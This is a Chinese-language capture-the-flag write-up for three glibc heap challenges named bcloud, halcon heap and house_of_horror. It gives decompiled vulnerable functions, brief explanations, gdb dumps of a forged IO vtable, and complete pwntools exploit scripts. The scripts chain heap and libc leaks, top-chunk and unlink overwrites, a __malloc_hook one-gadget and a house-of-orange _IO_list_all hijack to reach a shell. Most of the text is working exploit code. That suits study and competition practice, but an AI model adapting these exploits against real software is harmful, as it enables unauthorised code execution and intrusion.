下面代码中第二个strcpy把后面v2也复制进去了,所以可以泄露堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int get_name()
{
char s; // [esp+1Ch] [ebp-5Ch]
char *v2; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
memset(&s, 0, 0x50u);
puts("Input your name:");
myraed((int)&s, 64, 10);
v2 = (char *)malloc(0x40u);
name_ptr = (int)v2;
strcpy(v2, &s); # leak v2
welcome((int)v2);
return __readgsdword(0x14u) ^ v3;
}

然后可以发现在写host和org的时候调用的strcpy也有问题,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int get_info()
{
char s; // [esp+1Ch] [ebp-9Ch]
char *v2; // [esp+5Ch] [ebp-5Ch]
int v3; // [esp+60h] [ebp-58h]
char *v4; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]

v5 = __readgsdword(0x14u);
memset(&s, 0, 0x90u);
puts("Org:");
myraed((int)&s, 0x40, 10);
puts("Host:");
myraed((int)&v3, 0x40, 10);
v4 = (char *)malloc(0x40u);
v2 = (char *)malloc(0x40u);
org_ptr = (int)v2;
host_ptr = (int)v4;
strcpy(v4, (const char *)&v3);
strcpy(v2, &s); // leak v2
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}

详细查看栈排布可以发现,当复制第二个s的时候,因为strcpy是复制到\x00才停止复制,所以,他会一直把v2、v3的内容都往堆里复制,导致可以把topchunk给改了。然后就很容易控制到bss中的list,然后就容易做了。

另外自己定义的read函数里面有off by null漏洞(但是malloc的时候加了4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl sub_804868D(int a1, int a2, char a3)
{
char buf; // [esp+1Bh] [ebp-Dh]
int i; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0; // offbynullbyte
return i;
}

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python

from pwn import *

#context.log_level = "debug"

elf = "./bcloud"

note_array = 0x804b120 # chunk_list
note_len_array = 0x804b0a0 # size_list
puts_plt = 0x8048520
atoi_got = 0x804b03c
free_got = 0x804b014
atoi_off = 0x2d250
system_off = 0x3ada0

p = process(elf)

def new(size, content):
p.recvuntil("option--->>\n")
p.sendline("1")
p.recvline("Input the length of the note content:")
p.sendline(str(size))
p.recvline("Input the content:")
p.sendline(content)

def edit(idx, content):
p.recvuntil("option--->>\n")
p.sendline("3")
p.recvline("Input the id:")
p.sendline(str(idx))
p.recvline("Input the new content:")
p.send(content)

def delete(idx):
p.recvuntil("option--->>\n")
p.sendline("4")
p.recvuntil("Input the id:\n")
p.sendline(str(idx))

'''
b *0x8048A8C
b *0x8048B5B
b *0x8048BED
'''
# leak heap

p.recvline("Input your name:")
p.send("A"*0x40)
p.recvuntil("Hey "+"A"*0x40)

heap_base = u32(p.recv(0x4))-0x8
log.info("heap_base: "+hex(heap_base))

# overwrite topchunk

p.recvuntil("Org:\n")
p.send("A"*0x40)
p.recvuntil("Host:\n")
p.sendline(p32(0xffffffff))

# leak libc

off_size = note_len_array - (heap_base + 0xd8 + 0xc) - (2 * 0x4)
#pause()
new(off_size, "")

payload = p32(0x4)*2
payload += p8(0)*(0x80-len(payload))
payload += p32(free_got)
payload += p32(atoi_got)
new(int("0xb0", 0x10), payload)

edit(0, p32(puts_plt)) # free->puts

delete(1)# puts atoi's addr and set the prt_1 = 0

p.recvuntil("Input the id:\n")
libc_base = u32(p.recv(4))-atoi_off
log.info("libc_base: "+hex(libc_base))

# write system

system_addr = libc_base+system_off
edit(0, p32(system_addr)) # free_got -> system
pause()
new(8, "/bin/sh")
delete(1) # ptr_1's content = "/bin/sh"

p.interactive()

halycon heap

这道题漏洞主要是double free
泄露libc做了一个简单的堆排布,伪造了个堆头来free得到libc,再show出来,主要是通过覆盖低位fd来实现任意地址分配,分配在与1号堆块头前0x10大小的地方,然后再free掉1,得到libc在7号堆块,再show出来,有了libc之后,我们就double free覆盖malloc_hook来getshell就行了

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

#context.log_level = 'debug'
p = process("./halcon_heap")
elf = ELF("./halcon_heap")
libc = ELF("./libc.so.6")

def add(size, cont):
p.recvuntil(">")
p.sendline(str(1))
p.sendlineafter("Enter the size of your deet:", str(size))
p.sendafter("Enter your deet:", cont)

def show(index):
p.recvuntil(">")
p.sendline(str(2))
p.recvuntil("Which deet would you like to view?")
p.recv()
p.sendline(str(index))


def delete(index):
p.recvuntil(">")
p.sendline(str(3))
p.sendlineafter("Which deet would you like to brutally destroy off the face of the earth?", str(index))

add(0x20, 'a'*16 + p64(0)+p64(0x31)) #0
add(0x20, 'bbbbb') #1
add(0x40, 'ccccc') #2
add(0x60, (p64(0)+p64(0x21)+p64(0)*2)*2) #3
delete(0)
delete(1)
show(1)
heap_addr = u64(p.recv(8))
print hex(heap_addr)

pause()
delete(0)
add(0x20, '\x20') #4 - 0 # overlap with 7
add(0x20, 'ddddd') #5 - 1
add(0x20, 'eeeee') #6 - 0
add(0x20, p64(0)+p64(0x91)) #7 (0~1)

delete(1)

show(7)
p.recv(24)
libc_base = u64(p.recv(8)) - 88 -0x3c4b20
print hex(libc_base)
#print hex(libc.symbols['main_arena'])

malloc_hook = libc.symbols['__malloc_hook'] + libc_base

add(0x60, 'f'*8) #8
add(0x60, 'f'*8) #9
add(0x60, 'f'*8) #10

delete(8)
delete(9)
delete(8)

gad1 = 0x45216
gad2 = 0x4526a
gad3 = 0xf02a4
gad4 = 0xf1147

add(0x60, p64(malloc_hook-0x23)) #9
add(0x60, 'p') #11
add(0x60, 'p') #12
add(0x60, 'a'*(0x23-16)+p64(gad4+libc_base))

p.recvuntil(">")
p.sendline(str(1))
p.sendlineafter("Enter the size of your deet:", str(0x60))

p.interactive()

house_of_horror

分配一个大块覆盖原来的两个块,然后在里面构造unlink,进而控制bss_list,泄露heap和libc,然后利用house of orage来getshell
修改_IO_list_all,然后在堆上伪造IO结构体和vtable,写__overflow 为system地址,然后abort之后就getshell了
调用顺序:(malloc_printerr->__libc_message->)abort->fflush(_IO_flush_all_lockp)->vtable->_IO_OVERFLOW(hijack->system)
关于调用system时参数的地址:

1
并且在 xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。

上面是CTFWIKI的解释,既然传入的是_IO_2_1_stdout_的地址,这个是调用printf时候的参数取值,当出现abort的时候调用的应该是_IO_2_1_stderr_的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
gdb-peda$ p *(struct _IO_FILE_plus *)0x000000000211d020
$11 = {
file = {
_flags = 0x6e69622f,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x211d0d0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = "\000\000\000\000\220\343#o\213\177\000\000\220\343#o\213\177\000"
},
vtable = 0x211d0e8
}

gdb-peda$ p *((struct _IO_FILE_plus *)0x000000000211d020).vtable
$10 = {
__dummy = 0x7f8b6f23e390,
__dummy2 = 0x7f8b6f23e390,
__finish = 0x211d0e8,
__overflow = 0x7f8b6f23e390 <__libc_system>,
__underflow = 0x101,
__uflow = 0x1e,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *

#context.log_level = 'debug'
p = process("./house_of_horror")
elf = ELF("./house_of_horror")
libc = ELF("./libc.so.6")

def add(size):
p.sendlineafter('> ', '1')
p.sendlineafter('Enter the size of your array:', str(size))
# p.sendafter("What are the contents of this dream?", s)

def edit(arr_index, ele_index, data):
p.sendlineafter('>', "3")
p.sendlineafter("Which array would you like to edit?", str(arr_index))
p.sendlineafter("Which element would you like to edit?", str(ele_index))
p.sendlineafter("What would you like to set this element to?", str(data))


def free(index):
p.sendlineafter('>', "4")
p.sendlineafter("Which array would you like to view?", str(index))

def show(arr_index, ele_index):
p.sendlineafter('>', "2")
p.sendlineafter("Which array would you like to view?", str(arr_index))
p.recvuntil("Which element would you like to view?")
p.recv()
p.sendline(str(ele_index))


add(30)#0
add(30)#1
add(30)#2
bss=0x602060+0x18

f=bss-0x18
b=bss-0x10

# 1.fd = ptr - 0x18
# 2.bk = ptr - 0x10
# unlink
# ptr -> ptr - 0x18
# ptr = 0x602060

add(0x100/8-1)#3
add(0x100/8-1)#4
add(0x80/8-1)#5

free(3)
free(4)
add((0x210)/8-1)#6

# 3+4->6
#pause()
edit(6, 0, 0x101)
edit(6, 1, f)
edit(6, 2, b)

edit(6, 31, 0x100)
edit(6, 32, 0x90)
edit(6, 49, 0)
edit(6, 50, 0x21)
edit(6, 53, 0)
edit(6, 54, 0x21)
# unlink
free(4)

# from 1
show(3, 0)
heap_addr = int(p.recvuntil('Done', drop=True)) - 0x58
print "[+] heap_addr = " + str(hex(heap_addr))
edit(3, 0, elf.got['puts']-8)

show(1, 0)
puts_addr = int(p.recvuntil('Done', drop=True))
print "[+] puts_addr = " + str(hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system'] +libc_base
binsh_addr = next(libc.search("/bin/sh")) + libc_base
print hex(binsh_addr)

#edit(3, 0, elf.got['free']-24)

#stdout = libc.symbols['_IO_2_1_stdout_']+libc_base
vtable = libc.symbols['_IO_list_all'] + libc_base
edit(3, 0, vtable-8-8*6)
edit(1, 6, heap_addr-0x90-0x8)# fake_vtable in heap

edit(0, 1, u64('$0\x00\x00\x00\x00\x00\x00'))#u64('/bin/sh\x00'))
edit(0, 2, 0)
edit(0, 3, 0)
edit(0, 4, 0)
edit(0, 5, 0)
edit(0, 6, 1)

for i in range(7, 22):
edit(0, i, 0)

edit(0, 22, heap_addr+0x20-0x8)

for i in range(23, 23+3):
edit(0, i, 0)

pause()
# edit(0, 25, system_addr)
edit(0, 26, system_addr)
edit(0, 27, system_addr)
edit(0, 28, heap_addr+0x20-0x8+24)
edit(0, 29, system_addr)

p.sendline('6')

p.interactive()